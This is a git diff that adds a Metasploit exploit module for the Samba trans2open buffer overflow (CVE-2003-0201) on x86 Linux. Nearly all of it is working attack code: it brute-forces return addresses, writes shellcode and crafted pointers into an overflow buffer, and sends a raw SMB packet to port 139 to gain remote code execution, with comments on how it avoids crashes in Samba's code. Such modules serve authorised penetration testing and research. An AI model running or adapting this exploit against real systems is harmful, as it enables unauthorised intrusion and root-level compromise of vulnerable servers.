diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb new file mode 100644 index 0000000000..fc76e28244 --- /dev/null +++ b/modules/exploits/linux/samba/trans2open.rb @@ -0,0 +1,146 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Brute + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Samba trans2open Overflow (Linux x86)', + 'Description' => %q{ + This exploits the buffer overflow found in Samba versions + 2.2.0 to 2.2.8. This particular module is capable of + exploiting the flaw on x86 Linux systems that do not + have the noexec stack option set. + + NOTE: Some older versions of RedHat do not seem to be vulnerable + since they apparently do not allow anonymous access to IPC. + }, + 'Author' => [ 'hdm', 'jduck' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2003-0201' ], + [ 'OSVDB', '4469' ], + [ 'BID', '7294' ], + [ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ] + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00", + 'MinNops' => 512, + 'StackAdjustment' => -3500 + }, + 'Platform' => 'linux', + 'Targets' => + [ + # tested OK - jjd on RedHat 7.2 samba-2.2.1a-4 + [ 'Samba 2.2.x - Bruteforce', + { + 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack + 'Offset' => 1055, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0xbffffdfc }, + 'Stop' => { 'Ret' => 0xbfa00000 }, + 'Step' => 256 + } + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 7 2003' + )) + + register_options( + [ + Opt::RPORT(139) + ], self.class) + end + + def brute_exploit(addrs) + + curr_ret = addrs['Ret'] + begin + print_status("Trying return address 0x%.8x..." % curr_ret) + + connect + smb_login + + # This value *must* be 1988 to allow findrecv shellcode to work + # XXX: I'm not sure the above comment is true... + pattern = rand_text_english(1988) + + # See the OSX and Solaris versions of this module for additional + # information. + + # eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2 + # (rpmbuild -bp ; edited/reran config.status ; make) + eip_off = target['Offset'] + ptr_to_non_zero = target['PtrToNonZero'] + + # Stuff the shellcode into the request + pattern[0, payload.encoded.length] = payload.encoded + + # We want test true here, so we overwrite conn with a pointer + # to something non-zero. + # + # 222 if (IS_IPC(conn)) { + # 223 return(ERROR(ERRSRV,ERRaccess)); + # 224 } + pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V') + + # We want to avoid crashing on the following two derefences. + # + # 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line) + # 117 { + # 118 int outsize = set_message(outbuf,0,0,True); + # 119 int cmd = CVAL(inbuf,smb_com); + pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V') + pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V') + + # This stream covers the framepointer and the return address + #pattern[1199, 400] = [curr_ret].pack('N') * 100 + pattern[eip_off, 4] = [curr_ret].pack('V') + + trans = + "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+ + "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+ + pattern + + # puts "press any key"; $stdin.gets + + sock.put(trans) + handler + + rescue EOFError + rescue => e + print_error("#{e}") + end + + handler + disconnect + + end + +end